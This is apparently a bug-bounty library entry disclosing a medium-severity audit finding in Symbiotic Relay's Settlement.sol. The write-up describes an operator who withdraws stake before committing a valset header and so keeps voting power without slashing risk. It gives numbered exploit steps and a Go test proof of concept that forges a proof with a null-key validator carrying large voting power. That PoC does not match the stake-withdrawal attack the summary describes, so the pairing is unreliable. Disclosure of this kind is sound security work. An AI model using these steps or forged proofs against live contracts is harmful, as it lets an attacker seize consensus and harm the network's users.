# A malicious operator will control consensus without risking stake (stake-exit lag exploit)

Symbiotic Relay Settlement lets an operator withdraw stake before committing a valset header, retaining voting power with no slashing risk.

- Payout: Audit contest
- Severity: medium
- Program: Symbiotic Relay
- Found by: 0x73696d616f
- Disclosed: 2025-06-18
- Write-up quality: 8/10
- Original: https://github.com/sherlock-audit/2025-06-symbiotic-relay-judging/issues/446
- Library page: https://bugbountylibrary.com/r/sherlock%3A2025-06-symbiotic-relay%3AM-7
- Tags: area:web3 domain:web3 impact:integrity kind:contest platform:sherlock sev:medium tech:solidity technique:source-review vuln:access-control vuln:business-logic

**Target:** Settlement.sol commitValSetHeader / setSigVerifier
**Root cause:** setSigVerifier and public commitValSetHeader are non-atomic, leaving a time gap between validator selection and header commitment during which an operator can withdraw stake while voting power remains active.
**Steps:**
1. Operator deposits stake exceeding quorumThreshold into vault
2. Relay computes voting powers and calls `setSigVerifier` assigning operator's validators for next epoch
3. Near epoch end operator calls `withdraw` on vault
4. Operator calls `claim` to retrieve stake, removing financial exposure
5. Operator crafts proof signed by own validators and submits to public `commitValSetHeader`, accepted despite zero stake at risk
**How found:** Code reading of Settlement.sol revealed commitValSetHeader is public and separate from setSigVerifier, exposing a non-atomic window between validator selection and header commitment.
**Exploitation:** Operator stakes to exceed quorum, gets validators selected via setSigVerifier, then withdraws and claims stake before submitting a self-signed valset header to commitValSetHeader, controlling consensus with no slashing exposure.
**Insight:** When validator selection and header commitment are separate non-atomic calls, check whether stake can be withdrawn between them; any public commit function decoupled from the selection step is a stake-exit lag vector.

## Proof of concept (copied exactly from the original report)

**Go test PoC forging proof with null key validator**

```
func genValset(numValidators int, nonSigners []int) []ValidatorData {
	valset := make([]ValidatorData, numValidators)
	for i := 0; i < numValidators; i++ {
		pk := big.NewInt(int64(i + 1000000000000000000))
		valset[i].PrivateKey = pk
		valset[i].Key = getPubkeyG1(pk)
		valset[i].KeyG2 = getPubkeyG2(pk)
		valset[i].VotingPower = big.NewInt(1) // this has to be the real voting power of the rest of the set but it doesn't really matter for this poc as they won't sign. Only validator i == 0 is signing.
		valset[i].IsNonSigner = false
		if i != 0 {
			valset[i].IsNonSigner = true
		}
	}

	for _, nonSigner := range nonSigners {
		valset[nonSigner].IsNonSigner = true
	}

	return valset
}

Change `helpers.go` to the following. Note that n is 11 (set has length 10) to add the null key (0,0).
func NormalizeValset(valset []ValidatorData) []ValidatorData {
	// Sort validators by key in ascending order
	sort.Slice(valset, func(i, j int) bool {
		// Compare keys (lower first)
		return valset[i].Key.X.Cmp(&valset[j].Key.X) < 0 || valset[i].Key.Y.Cmp(&valset[j].Key.Y) < 0
	})
	n := 11 //getOptimalN(len(valset))
	normalizedValset := make([]ValidatorData, n)
	for i := range n {
		if i < len(valset) {
			normalizedValset[i] = valset[i]
		} else {
			zeroPoint := new(bn254.G1Affine)
			zeroPoint.SetInfinity()
			zeroPointG2 := new(bn254.G2Affine)
			zeroPointG2.SetInfinity()
			normalizedValset[i] = ValidatorData{PrivateKey: big.NewInt(0), Key: *zeroPoint, KeyG2: *zeroPointG2, VotingPower: big.NewInt(30000000000000 * 10), IsNonSigner: false}
		}
	}
	return normalizedValset
}

In `proof.go` set `MaxValidators = []int{11}`. If the 3 verifiers 10, 100, 1000 were used this wouldn't be needed but the current commit defaults to 10 only and it's easier to allow 11 for this POC.

Go to `pkg/proof` and run `go test .`, it passes with 1 real voting power.
```

